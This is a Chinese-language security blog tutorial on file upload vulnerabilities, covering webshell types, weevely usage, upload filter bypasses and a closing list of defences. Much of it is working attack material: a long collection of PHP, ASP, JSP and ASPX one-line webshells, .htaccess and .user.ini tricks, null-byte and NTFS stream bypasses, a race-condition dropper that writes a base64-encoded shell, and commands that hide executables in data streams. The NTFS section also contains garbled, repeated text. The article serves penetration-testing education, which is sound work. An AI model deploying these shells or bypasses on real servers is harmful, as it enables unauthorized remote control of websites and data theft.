文件上传漏洞

目录

什么是文件上传漏洞?

 文件上传漏洞常见场景

 文件上传代码实现

文件上传漏洞原理

webshell

大马介绍:

小马介绍:

一句话木马介绍:

木马的生成方式

weevely生成木马

一句话木马大全

一句话木马插入后的使用方式

文件上传bypass

1.前端绕过

2.检查扩展名

3.MIME绕过

4.文件头绕过

5.限制Web Server对特定类型文件的行为

6.00截断

7.windows NTFS文件系统特性绕过

8.二次渲染绕过

9.条件竞争

10.其他绕过

文件上传漏洞的防御


什么是文件上传漏洞及其危害

文件上传漏洞是指在Web应用程序中,由于开发人员对用户上传文件的功能设计和实现不够严谨,导致攻击者能够上传恶意文件(如Webshell、木马等)到服务器,进而可能获取服务器的控制权或者进行其他非法操作的安全漏洞。

具体表现形式包括但不限于:

  1. 文件类型检查不足:攻击者可通过修改文件扩展名或MIME类型,上传非预期类型的文件,如将PHP脚本伪装成图片文件。
  2. 文件内容验证缺失:即使上传文件的扩展名正确,服务器也应进一步检查文件内容,确认其实际格式与声称的格式相符。
  3. 上传目录权限过高:上传文件的存储目录具有执行脚本的权限,攻击者上传的恶意脚本可以直接在服务器上执行。
  4. 目录遍历攻击:攻击者可能通过文件上传功能,利用目录遍历漏洞上传文件到任意目录,或者覆盖重要系统文件。

 文件上传漏洞常见场景

  1. 用户个人资料更新

    • 用户上传头像或个人照片,用于个人主页展示或身份验证。
    • 用户上传身份证、营业执照等证件照片,用于账户实名认证。
  2. 社交媒体分享

    • 在社交平台上发布照片、视频等内容,例如朋友圈、微博、Instagram等。
  3. 内容管理系统

    • 博客或CMS系统中上传文章配图、附件或其他多媒体资源。
  4. 电子商务平台

    • 商品图片上传,商家上传产品详情图片、用户评价时上传实物照片等。
  5. 文件存储服务

    • 网盘服务,用户上传各种类型的文件以进行云端存储和分享。
    • 电子邮件系统中作为附件发送文件。
  6. 办公协作工具

    • 在线文档协作工具中上传文档、表格、PPT等进行团队协作。
    • 版本控制系统中上传代码或项目文件。
  7. 大数据处理

    • 大型企业内部系统,上传大量数据文件进行分析或备份,如日志文件、数据库导出文件等。
  8. 多媒体服务

    • 视频网站上传视频内容,音乐网站上传音频文件。
  9. 在线教育平台

    • 教师上传课程资料,学生提交作业或项目文件。
  10. 大文件传输

    • 使用专门的大文件传输工具或服务,如镭速传输,在不同地点之间定期或一次性传输大量数据。


文件上传代码实现

文件上传的代码实现会涉及到前端和后端两个部分,下面分别给出简单的示例:

前端(HTML + JavaScript):

html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>File Upload</title>
</head>
<body>
    <input type="file" id="fileInput" />
    <button onclick="uploadFile()">Upload</button>

    <script>
        function uploadFile() {
            var input = document.getElementById('fileInput');
            var file = input.files[0];
            var formData = new FormData();
            formData.append('file', file);

            var xhr = new XMLHttpRequest();
            xhr.open('POST', '/upload', true);
            xhr.onreadystatechange = function () {
                if (xhr.readyState === 4 && xhr.status === 200) {
                    alert('File uploaded successfully.');
                }
            };
            xhr.send(formData);
        }
    </script>
</body>
</html>

后端(Node.js + Express + Multer):

const express = require('express');
const multer  = require('multer');

const app = express();

// Set up multer for handling file uploads
const storage = multer.diskStorage({
  destination: function (req, file, cb) {
    cb(null, 'uploads/')
  },
  filename: function (req, file, cb) {
    cb(null, file.fieldname + '-' + Date.now())
  }
})

const upload = multer({ storage: storage })

app.post('/upload', upload.single('file'), (req, res, next) => {
  try {
    // req.file is the `file` field of the form
    // req.body will hold the text fields, if there were any
    console.log(req.file);
    res.send('File uploaded successfully.');
  } catch (err) {
    next(err);
  }
});

app.listen(3000, () => console.log('Server started on port 3000'));

上述代码中,前端部分通过HTML创建了一个文件输入控件,并在用户点击上传按钮时,通过JavaScript将选择的文件发送到服务器。后端部分使用了Express框架和Multer中间件处理文件上传请求,将接收到的文件保存在服务器的'uploads/'目录下。

这只是一个基础的文件上传实现,实际应用中还需要考虑更多因素,如文件类型、大小限制、错误处理等。


文件上传漏洞原理

文件上传漏洞的原理在于Web应用程序对用户提交的文件内容和格式缺乏严格的验证和控制。在Web开发过程中,当开发者提供文件上传功能时(例如让用户上传图片、文档或其他类型的文件),如果没有正确地实施安全措施,攻击者就可以利用这个功能上传恶意文件,而不是合法的文件。

具体步骤如下:

  1. 绕过验证

    • 文件扩展名欺骗:攻击者可能会更改文件的真实扩展名,使得恶意脚本(如PHP、ASP、JSP等)看起来像是无害的图片文件(例如,.jpg.png)。
    • MIME类型伪造:通过修改HTTP请求中的Content-Type头信息,使服务器误判文件类型。
    • 内容混淆:对于某些格式的文件,如Office文档,攻击者可能在其中嵌入可执行脚本,服务器如果不做深度检查则无法发现。
  2. 上传恶意文件

    • +如果服务器仅依赖客户端验证(如JavaScript),攻击者可以通过禁用或修改客户端脚本来轻易绕过。
    • 当服务器端没有对上传文件的内容、扩展名以及mime类型进行有效验证和过滤时,攻击者可以上传Webshell或者其他恶意脚本文件。
  3. 执行恶意代码

    • 一旦恶意文件成功上传并存储在服务器的某个有执行权限的目录下,攻击者可以通过访问上传的恶意脚本URL来执行它。
    • Webshell是一个可以由攻击者远程操控的服务器端脚本,它提供了执行任意命令的能力,从而使攻击者能够完全控制受影响的Web服务器。

webshell

Webshell是一种用于控制和管理系统服务器的恶意脚本程序,通常由攻击者上传至目标服务器上的Web目录,允许攻击者通过Web接口执行服务器系统的命令和操作。这种工具主要存在于以ASP、PHP、JSP、CGI等动态网页脚本语言编写的文件中,由于它们能被Web服务器解析执行,因此可以利用这些脚本语言内置的功能执行系统命令、读写文件、甚至进一步渗透整个网络结构。

Webshell的特点包括:

  1. 隐蔽性:由于Webshell通常伪装成正常的网页文件,不易被服务器管理者察觉,同时它并不直接穿透防火墙,而是通过标准的HTTP/HTTPS协议交互,所以能在Web服务器日志中隐匿行踪。
  2. 灵活性:攻击者可以通过浏览器或者任何能发起HTTP请求的工具来远程控制服务器,进行诸如搜集敏感信息、篡改网页内容、植入其他恶意软件等操作。
  3. 多功能性:根据复杂程度不同,Webshell可分为“小马”和“大马”。小马体积小巧,功能有限,常用于初步渗透后上传更大功能的Webshell(即大马)。大马则拥有更丰富的功能,如文件管理、数据库操作、密码嗅探等。

大马介绍:

在网络安全领域,尤其是在讨论Web安全时,术语“大马”是指功能相对完整、功能强大的Webshell。Webshell是一种后门程序,它被设计成可以在Web服务器环境下运行,并允许攻击者通过Web接口对服务器进行远程控制。大马通常是由ASP、PHP、JSP、ASP.NET等服务器端脚本语言编写的,能够提供更为复杂的操作能力,包括但不限于以下几个方面:

  1. 文件管理:允许攻击者上传、下载、删除、重命名服务器上的任意文件。
  2. 系统命令执行:攻击者可以通过大马来执行服务器上的任意系统命令,获取系统信息,进行提权操作。
  3. 数据库操作:如果服务器上有数据库连接,大马还可能允许攻击者查看、修改、删除数据库内容。
  4. 信息收集:快速收集服务器及网络环境的敏感信息,如用户名、密码、配置文件等。
  5. 持久化机制:大马可能具备自动恢复或隐藏自身的能力,即使管理员发现了并尝试删除,也可能在特定条件下重新激活。
  6. 端口扫描和其他攻击:一些高级的大马还可以用来扫描其他主机或执行其他类型的攻击。

小马介绍:

在网络安全语境下,“小马”(或称“小马程序”,Mini Shell)通常指一类体积小、功能相对简单的后门程序。与大马(Webshell)类似,小马的主要目的是让攻击者能够在未经授权的情况下获得对目标计算机或网络设备的远程控制权。

小马程序的特点和功能可能包括:

  1. 隐蔽性:小马往往体积小巧,容易伪装,可以嵌入到合法程序中或者通过社会工程学手段诱使用户下载安装,从而绕过常规的安全检测。

  2. 基本控制功能:虽然不如大马那么强大,但小马也能实现基础的远程控制功能,比如开启一个反向连接通道,使得攻击者可以从自己的计算机上控制感染了小马的目标系统。

  3. 键盘记录:很多小马具备键盘记录功能,用于窃取用户的账号密码和其他敏感信息。

  4. 系统信息获取:能够收集受害者的系统信息,如操作系统版本、IP地址、已安装软件等。

  5. 下载并执行其他恶意软件:小马有时会被用作载荷投放平台,进一步下载并执行更复杂、更具破坏性的恶意软件。

一句话木马介绍:

一句话木马(One-Liner Backdoor or One-Line Shell)是一种非常简洁的、通常仅包含一行代码的恶意脚本,它被设计得足够小巧且隐蔽,以至于可以在目标网站的源码中插入而不易被发现。一句话木马主要用于远程控制和管理被入侵的Web服务器,攻击者通过触发这句话木马,可以执行任意PHP、ASP、JSP等服务器端脚本语言提供的命令,进而实现对服务器的控制。

一句话木马的工作原理大致如下:

  • 攻击者找到Web应用程序的漏洞,如文件包含漏洞、代码注入漏洞等,通过这些漏洞将一句精心构造的代码上传或插入到Web服务器上的某处可执行脚本中。
  • 这句代码通常是调用服务器端脚本语言的一个函数或方法,该函数或方法能够接收并执行来自远程控制端传来的指令。
  • 控制端通过发送特定格式的数据给一句话木马所在的URL,服务器在处理这个请求时就会执行预设好的那一行代码,进而执行控制端传来的任意命令。

木马的生成方式

weevely生成木马

weevely是kali自带的一个php后门木马生成工具,它不仅可以实现生成php木马,而且还可以实现连接功能。

weevely的基本使用:

1.基本木马(一般生成木马为大马)生成指令 : weevely generate <用于连接的密码> <文件名>

例如:weevely generate cmd shell.php  --就生成了一个名为shell.php的木马,cmd即为连接时的密码。

2.木马使用

首先我们要先在一个找到一个存在文件上传漏洞的网站,然后上传这个文件,成功上传之后,我们就用weevely工具进行连接进行getshell的过程,不过我们必须知道我们该文件上传的路径,如下:

weevely http://www.target.com/uplaods/shell.php cmd

/upload/shell.php 即为该文件上传的路径,cmd 即为我们之前设置的密码。

如果步骤都没有问题的话,我们就成功地getshell了

当然不止于此还有很多生成木马的工具

比如EvilOSX、Cerberus、Empire/StickyKeys - Empire、Veil-Evasion、Cobalt Strike、Metasploit Framework (MSFVenom) - MSFVenom、Phobos

大概陈述一下就好了

  1. Phobos - 这是一款红队专用的免杀木马生成器,允许用户自定义生成木马的名称和图标,以规避基于签名的检测。

  2. Metasploit Framework (MSFVenom) - MSFVenom是Metasploit框架的一部分,常用于生成携带不同后门载荷的木马文件,并且可以根据需要改变文件名和编码方式,从而实现免杀效果。

  3. Cobalt Strike - 这是一个高级的渗透测试工具,其中包含Beacon payload生成器,可以定制化生成各种形式的后门木马,并且可以灵活地指定文件名和扩展名以提高隐蔽性。

  4. Veil-Evasion - 另一款流行的渗透测试工具,其功能之一是可以生成多形态的、对抗反病毒软件的Payload,支持自定义文件名和混淆程度。

  5. Empire/StickyKeys - Empire项目(现已更名为Empire32/EmPyre)提供了Payload生成能力,StickyKeys就是一个例子,它可以生成伪装成合法Windows系统的组件的后门,文件名可根据需求变化。

  6. EvilOSX、Cerberus等针对不同操作系统的木马制作工具,也可以生成具有随机或指定文件名的恶意软件。

一句话木马大全

#php

##PHP:
<?php @eval($_POST['r00ts']);?> 
<?php phpinfo();?>
<?php @eval($_POST[cmd]);?>
<?php @eval($_REQUEST[cmd]);?>
<?php assert($_REQUEST[cmd]); ?>
<?php //?cmd=phpinfo() @preg_replace("/abc/e",$_REQUEST['cmd'],"abcd"); ?>
<?php 
//?cmd=phpinfo();
$func =create_function('',$_REQUEST['cmd']);
$func();
?>

<?php
//?func=system&cmd=whoami
$func=$_GET['func'];
$cmd=$_GET['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
//print_r($new_array);
?>

<?php 
//?cmd=phpinfo()
@call_user_func(assert,$_GET['cmd']);
?>

<?php 
//?cmd=phpinfo()
$cmd=$_GET['cmd'];
$array[0]=$cmd;
call_user_func_array("assert",$array);
?>

<?php 
//?func=system&cmd=whoami
$cmd=$_GET['cmd'];
$array1=array($cmd);
$func =$_GET['func'];
array_filter($array1,$func);
?>

<?php usort($_GET,'asse'.'rt');?> php环境>=<5.6才能用
<?php usort(...$_GET);?>  php环境>=5.6才能用
<?php eval($_POST1);?> 
<?php if(isset($_POST['c'])){eval($_POST['c']);}?> 
<?php system($_REQUEST1);?> 
<?php ($_=@$_GET1).@$_($_POST1)?> 
<?php eval_r($_POST1)?> 
<?php @eval_r($_POST1)?>//容错代码 
<?php assert($_POST1);?>//使用Lanker一句话客户端的专家模式执行相关的PHP语句 
<?$_POST['c']($_POST['cc']);?> 
<?$_POST['c']($_POST['cc'],$_POST['cc'])?> 
<?php @preg_replace("/[email]/e",$_POST['h'],"error");?>/*使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入*/:<O>h=@eval_r($_POST1);</O> 
<?php echo `$_GET['r']` ?> 

<script language="php">@eval_r($_POST[sb])</script> //绕过<?限制的一句话

<?php (])?>   上面这句是防杀防扫的!网上很少人用!可以插在网页任何ASP文件的最底部不会出错,比如 index.asp里面也是可以的!

<?if(isset($_POST['1'])){eval($_POST['1']);}?><?php system ($_REQUEST[1]);?> 
加了判断的PHP一句话,与上面的ASP一句话相同道理,也是可以插在任何PHP文件 的最底部不会出错!

<%execute request(“class”)%><%'<% loop <%:%><%'<% loop <%:%><%execute request (“class”)%><%execute request(“class”)'<% loop <%:%> 
无防下载表,有防下载表可尝试插入以下语句突破的一句话 

<%eval(request(“1″)):response.end%> 备份专用

#jsp

##JSP:
<%if(request.getParameter("f")!=null)(newjava.io.FileOutputStream (application.getRealPath("\\")+request.getParameter("f"))).write (request.getParameter("t").getBytes());%> 
提交客户端 
<form action="" method="post"><textareaname="t"></textarea><br/><input type="submit"value="提交"></form>

#asp

##ASP
<%eval(Request.Item["r00ts"],”unsafe”);%>

<%IfRequest(“1″)<>”"ThenExecuteGlobal(Request(“1″))%> 

<%execute(request(“1″))%> 

<scriptrunat=server>execute request(“1″)</script> 不用'<,>‘的asp一句话 

#aspx

##aspx
<scriptrunat=”server”>WebAdmin2Y.x.y aaaaa =newWebAdmin2Y.x.y (“add6bb58e139be10″);</script> 

<script language="C#"runat="server">WebAdmin2Y.x.y a=new WebAdmin2Y.x.y("add6bb58e139be10")</script> 

<%eval request(chr(35))%>  不用双引号的一句话。

一句话木马插入后的使用方式

1.我们上传一句话木马文件为1.php,我们在该网站上输出该文件的上传路径来访问该文件,

假如我们一句话木马的内容为<? @eval($_POST[cmd]); ?>

访问到后使用hackbar进行post传参来传入我们要执行的指令,eg:cmd=system('ls')  --此处就要涉及到远程命令执行了

2.使用蚁剑工具直接连接

基础使用:

URL地址栏就是我们上传的木马文件的URL地址,而连接密码就是一句话木马中对应的cmd参数

然后测试连接,如果显示连接成功,就可以进行添加,访问到该web目录的文件


文件上传bypass

我们此处就以最简单的一句话木马(<?php @eval($_POST[cmd]); ?>)为例

1.前端绕过(js绕过)

首先我们先创建一个1.jpg,以记事本打开,写入上述一句话木马

实际就是bp抓包后,修改文件名

把上述1.jpg改为1.php,然后发包就可以

2.检查扩展名

一般情况下,系统对文件名进行了限制处理,分别是白名单限制、黑名单限制

白名单:只允许哪些格式文件上传

黑名单:不允许上传哪些格式文件,总的来说,白名单比黑名单更难绕过

这种情况下,我们可以创建一个1.xxx文件进行上传,如果允许上传,那么就一定是黑名单限制,否则就是白名单限制

3.MIME绕过

绕过MIME其实就是修改content-type头

此时是直接上传1.php文件,然后将上述的橙色部分换为image/jpg、image/png、image/gif等允许上传的即可绕过

4.文件头绕过

这就要涉及到文件内部了,当我们以记事本打开某个图片文件时,会发现相同格式的文件的开头字符是一致的,对于此限制,我们可以在之前一句话木马的基础上,在开头加上特定的文件头,常见文件头如下:

格式                                               文件头
TIFF (tif)                                         49492A00
Windows Bitmap (bmp)                 424D
CAD (dwg)                                     41433130
Adobe Photoshop (psd)                 38425053
JPEG (jpg)                                     FFD8FF
PNG (png)                                     89504E47
GIF (gif)                                         47494638
XML (xml)                                      3C3F786D6C
HTML (html)                                  68746D6C3E
MS Word/Excel (xls.or.doc)           D0CF11E0
MS Access (mdb)                          5374616E64617264204A
ZIP Archive (zip),                        504B0304
RAR Archive (rar),                      52617221
Wave (wav),                                57415645
AVI (avi),                                     41564920
Adobe Acrobat (pdf),                  255044462D312E

修改文件至上述形式,再上传即可

5.限制Web Server对特定类型文件的行为

文件上传漏洞的本质其实是,服务器执行我们上传"图片"中的代码

我们可以上传特定的配置文件来对服务器的配置进行修改

比如上传.user.ini文件以及a.htaccess文件

当服务器在执行代码之前,服务器会提前检测是否存在此类配置文件,当有时服务器会根据该类配置文件对服务器自身的配置进行添加或者修改

对应文件内容如下

#.user.ini#
GIF89a
auto_prepend_file=1.jpg

 .user.ini文件作用:PHP解释器将会尝试在执行每个PHP脚本之前,自动包含名为“1.jpg”的文件作为脚本的开头部分。然而,按照常规理解,.jpg 是一种图像文件格式,不应该包含可执行的PHP代码,但是该文件可能会试图将一个原本应该是图像文件的内容篡改为PHP代码,并将其命名为 .jpg 后缀,然后通过配置 .user.ini 文件使得PHP引擎误认为这是个应该预处理的文件,从而执行其中的PHP代码。

#a.htaccess#
<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

.htaccess文件解释:在.htaccess文件中,这段配置代码的作用是告诉Apache服务器,当请求的文件名匹到"1.jpg"时,不应按常规的静态JPEG图像文件处理,而是应该当作PHP脚本来处理。具体地说这意味着,如果网站中有名为"1.jpg"的文件,尽管从文件扩展名上看它是图像文件,但经过这段配置后,服务器会把对该文件的请求转交给PHP解析器去执行。这种配置在正常情况下很少见,但如果被恶意利用,可能成为安全漏洞的一部分,比如攻击者上传了一个名为"1.jpg"但实际上包含PHP代码的文件,然后通过此种方式使之得以执行。

 在上述配置的文件的基础上,我们就可以上传一个与上述代码中对应的1.jpg文件(包含一句话木马)

6.00截断

提醒:00绕过只能绕过前端验证,对后端无效.

常见使用场景:asp、php<5.3.4并且magic_quotes_gpc关闭、jsp

种类:0x00(16制编码)截断,%00(url编码)截断

原理:0x00或者%00在不同的环境下都会被解析为chr(0)函数,该函数返回值就是NILL(空字符),而当一个字符串中出现空字符时,该空字符及其以后得内容都会被丢弃。

那实际过程中空字符如何插入呢?首先我们在要插入的文件名中插入一个空格(十六进制编码为20),然后再通过hex十六进制编码后的结果中查找20,并将其替换为00,此时我们成功插入了空字符

get与post 00截断

因为 %00 截断在 GET 中被 url 解码之后是空字符。但是在 POST 中 %00 不会被 url 解码,所以只能通过 burpsuite 修改 hex 值为 00 (URL decode)进行截断

实例:

通过抓包截断将【evil.php.jpg】后面的一个【.】换成【0x00】。在上传的时候,当文件系统读到【0x00】时,会认为文件已经结束,从而将【evil.php.jpg】的内容写入到【evil.php】中,从而达到攻击的目的。

7.windows NTFS文件系统特性绕过

NTFS交换数据流(alternate data streams简称ADS)是NTFS磁盘格式的新特性,见漏洞详细可查CVE-1999-0278。

1.一个完整的流的格式为:::
2.文件主流即我们平时可以看见的可以存储数据的文件。而非主文件流寄宿于主文件流中,无法直接读取。
3.修改宿主文件的内容或流的内容,不会对彼此造成影响。
4.流类型总是以 符 号 作 为 开 始 , N T F S 文 件 系 统 中 的 文 件 至 少 包 含 一 个 主 流 , 也  就是 d a t a 流 ( 符号作为开始,NTFS文件系统中的文件至少包含一个主流,也就是data流( 符号作为开始,NTFS文件系统中的文件至少包含一个主流,也就是data流(DATA),默认流名为空。
5.ADS可以省略流名,但不能省略流类型。
6.NTFS文件系统中0的文件夹没有data流,但可以指派data流,文件夹的主流为directory流( INDEXALLOCATION),流 名 默 认 为 INDEX_ALLOCATION),流名默认为 INDEXA​LLOCATION),流名默认为I30

当我们对一个在NTFS分区中的ASP文件发出包含 D A T A 请 求 , I I S 会 检 查 最 后 一 个 “ . ” 后 面 的 扩 展 名 , 因 为 多 了 : : DATA请求,IIS会检查最后一个“.”后面的扩展名,因为多了:: DATA请求,IIS会检查最后一个“.”后面的扩展名,因为多了::DATA,结果IIS不认为这是一个ASP文件,而文件系统可以识别该请求,于是返回ASP的源代码。

绕过方法

   1. IIS目录访问权限绕过:在IIS6.0+PHP、IIS7+asp、IIS7.5+php的环境下,如果目录是通过HTTP Basic来认证,假设网站根目录存在index.php文件,可通过构造如下方式来绕过认证直接访问目录下的文件。

/admin::$INDEX_ALLOCATION/index.php
/admin:$i30:$INDEX_ALLOCATION/index.asp

   2.上传绕过黑名单:在测试中我们发现如果上传的文件名字为:test.php::$DATA,会在服务器上生成一个test.php的文件,其中内容和所上传文件内容相同,并被解析。

上传的文件名                                    服务器表面现象        生成的文件内容
Test.php:a.jpg                                   生成Test.php             空
Test.php::$DATA                               生成test.php              <?php phpinfo();?>
Test.php::$INDEX_ALLOCATION    生成test.php文件夹    
Test.php::$DATA\0.jpg                      生成0.jpg                   <?php phpinfo();?>
Test.php::$DATA\aaa.jpg                  生成aaa.jpg               <?php phpinfo();?>

    注意:
    对于windows环境的服务器,上传test.php:.jpg类型的文件,当文件传到服务端时,windows会将该文件识别成ADS,从而认为其宿主文件名为1.asp而将.jpg识别为流名。
    通过notepad test.php:.jpg可以查看内容,所以test.php内容为空是正常的。
    然后修改上传的文件名为test.>>>或者test.<、test.<<<、test.>><再上传,会重写test.php。原因是在PHP+IIS的环境下," 同义. >同义? <同义*

   3. 隐藏webshell:在服务器上echo一个数据流文件进去,比如index.php是网页正常文件,命令如下:echo ^<?php @eval(request[cmd])?^ >> index.php:hidden.jpg
    这样生成了一个不可见的shell hidden.jpg,type dir del命令都不行。利用文件包含<?php include('shell.php:hidden.jpg')?>就是一句话。

    4.mysql中的udf提权:

    如果数据库用户对数据库mysql(注意指的是数据库里的默认库mysql)具有insert和delete权限,就可以创建加载自定义函数。
    而又因为mysql服务是以system权限运行在windows主机上,所以这个时候我们就可以通过自定义函数以system权限执行命令了。

如果数据库用户对数据库mysql(注意指的是数据库里的默认库mysql)具有insert和delete权限,就可以创建加载自定义函数。
而又因为mysql服务是以system权限运行在windows主机上,所以这个时候我们就可以通过自定义函数以system权限执行命令了。

Mysql 5.0.67之前,DLL的导入目录是C:\windows\system32
从MySQL 5.1开始,要求目录必须是mysql目录下的lib\plugin\目录,而且mysql 5.1之后的常用安装版本是默认不存在lib\plugin目录的。

执行sql语句

show variables like '%plugin%';

查看目录位置。
利用ADS依次创建lib、plugin目录

select 'xxx' into outfile 'E:\\phpstudy\\PHPTutorial\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';

如果创建失败的话,执行

show variables like '%secure%';

看看secure_file_priv的值:

如果创建失败的话,执行

show variables like '%secure%';

看看secure_file_priv的值:

    null表示限制mysqld不允许导入导出
    当secure_file_priv的值为/tmp/,表示限制mysqld 的导入导出只能在/tmp/目录下
    当secure_file_priv的值为空,表示不对mysqld的导入导出做限制

   5. 隐藏exe文件

type muma.txt test.txt:muma.exe

在xp中可以用start test.txt:muma.exe执行,但是win7以上这样执行会报错。win7及之后的系统的正确姿势如下:
创建一个符号链接文件test.exe,链接到寄生的交换数据流可执行文件test.txt:muma.exe上:mklink test.exe,test.txt:muma.exe,然后执行start test.exe /b即可


更新一个方法:

wmic process call create "C:\ProjectCode\test\test:putty.exe"

    在WinXP中,可执行文件可以和文本文件一样实现真正的隐藏,这可能也是当时大多数杀毒软件添加数据流病毒查杀功能的原因;在Win7之后的系统中,微软可能出于安全考虑,不允许直接运行交换数据流可执行文件,必须要创建符号链接,这个符号链接是可见的(当然可以使用其他手段隐藏这个符号链接),并且这个符号链接创建出来后不能复制到其他地方,只能在创建的那个位置使用命令行方式调用(鼠标双击会报错)。

查看隐藏流文件

    使用这两款小工具配合进行检测和清除寄生的交换数据流
    https://pan.baidu.com/share/link?shareid=134850&uk=1108295926
    labs.exe检测,streams.exe进行清理。
    还有一个叫做AlternateStreamView的工具也可以

8.二次渲染绕过

渲染介绍:

当我们上传文件的时候,服务器会对该文件图像的内容进行修改,但是不会影响原图像,所以当我们上传的图片中含有一句话木马时,该木马可能因为图片渲染的原因而被更改.

绕过姿势:

一般而言,图片渲染是对部分图片内容进行渲染,而有一部分特定的文件内容会被保留,我们就利用特定的被保留的部分,而且该渲染对同一图片文件的渲染结果是一致的,此时推荐一个010editor工具,此工具可用于比较两文件内容,同时对内容进行修改,此时只需要把源文件和渲染后的文件进行对比,修改两文件相同的部分,把一句话木马替换原图片文件中相同部分,此时在上传修改后的原图片文件即可。

9.条件竞争

为什么使用条件竞争?

当我们上传一个文件后,服务器先是将上传的文件保存下来,然后将文件的后缀名同白名单对比,如果是jpg、png、gif中的一种,就将文件进行重命名。如果不符合的话,unlink()函数就会删除该文件。然而我们就可以抓住在删除前执行我们一句话木马,这个过程就叫条件竞争。

条件实现:利用bp抓包,进行爆破模块多线程实现

实例:以upload靶场18关为例

首先我们先上传一个文件x.php并抓包,文件内容如下,其作用就是写入一个shell.php文件

<?php
$a='PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+';
$myfile = fopen("shell.php", "w");
fwrite($myfile, base64_decode($a));
fclose($myfile);
?>

将抓到的包提交到爆破模块,点击右侧的清除按钮,删除参数如下

设置载荷为没有负载,并且无期限地重复,线程就正常就行了

代理把刚刚抓到的包放了之后,就重新访问,我们上传的x.php的路径

此处靶场上传的目录就/upload-labs-master/upload/x.php

我们修改URL,访问该路径并抓包,发送到爆破模块,负载和上述设置一样,但是要修改为较大线程,此处就写20吧,条件竞争并不是绝对成功,线程大一点点,成功率可能也大一点

然后按上述顺序依次发送攻击

然后时刻关注上传目录,看是否生成了shell.php,生成后就蚁剑连接即可

10.其他绕过

还有其他绕过如下,

1.文件格式php3、php5等绕过

2.大写绕过,Php

3.双写绕过,phphpp,适用于将特殊文件格式替换为空时

4.空格/点绕过,Win下xx.jpg[空格] 或xx.jpg.这两类文件都是不允许存在的,若这样命名,windows会默认除去空格或点此处会删除末尾的点,但是没有去掉末尾的空格,因此上传一个'1.php '、'1.php.'文件即可。

5.点空格点绕过,也是windows环境下,'1.php. .'会因为特性自动保存为'1.php'。

6./.绕过:1.php/.

7.::DATA绕过:windows情况下,通过抓包1.php::DATA命名的文件会直接被修改为1.php

        在windows下,无法直接测试::$DATA,因为windows不允许后缀名中存在特殊字符

8.


文件上传漏洞的防御

文件上传漏洞的防御需要采取多层次、全方位的安全策略,下面是一些建议的防御措施:

1. **严格的文件类型检查**:
   - 设置允许上传文件类型的白名单,只允许上传特定格式的文件,如只允许上传图片文件(.jpg、.png等),拒绝上传可执行文件(.php、.aspx、.jsp等)。
   - 不仅检查文件扩展名,还要通过检查文件的二进制头部标志(Magic Number)或MIME类型来确定文件的真实类型。

2. **文件内容检查**:
   - 对上传的文件内容进行深入分析,使用安全工具扫描文件以检测是否存在恶意代码,例如对图片文件进行深度解析,确保其内部不包含可执行脚本。
   - 对于文本文件,可以使用关键词过滤、模式匹配等技术检测可能的危险代码片段。

3. **文件重命名和存储位置控制**:
   - 上传的文件应存储在特定的、不可执行的目录下,并且对上传的文件名进行随机重命名,避免预测和直接访问。
   - 确保Web服务器配置不解析这些目录中的文件为脚本。

4. **文件权限控制**:
   - 上传的文件应赋予只读权限,确保攻击者即使上传了恶意文件也无法在服务器上执行。

5. **大小限制**:
   - 根据业务需求,设置合理的文件上传大小限制,防止大文件耗尽服务器资源或绕过检测。

6. **二次渲染或转换**:
   - 对于图片等可渲染的文件,上传后可以进行一次强制转换或渲染操作,如压缩、缩略图生成等,以降低恶意代码执行的风险。

7. **使用安全组件和中间件**:
   - 应用成熟的文件上传组件或中间件,这些组件通常已经考虑到多种安全问题,并进行了相应的防护。

8. **入侵检测和预防系统**:
   - 配置入侵检测系统(IDS)和防火墙规则,监测可疑文件上传行为。

9. **持续监控和审计**:
   - 定期审查服务器上的文件变更记录,对上传的文件进行安全审计,及时发现和清理潜在的恶意文件。

10. **安全编码和开发规范**:
    - 开发人员在编写代码时应遵循安全编程准则,例如避免使用用户可控的变量直接拼接到文件路径中,确保所有用户输入都要经过严格的验证和过滤。

综合运用上述措施可以显著降低文件上传漏洞带来的风险,但要注意随着攻击手段的不断发展,也需要持续关注新的攻击技术和防御策略。

文件上传漏洞还可以配合其他漏洞,造成更大的不好后果!!!

在此祝大家学习顺利!!!

  • 35
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值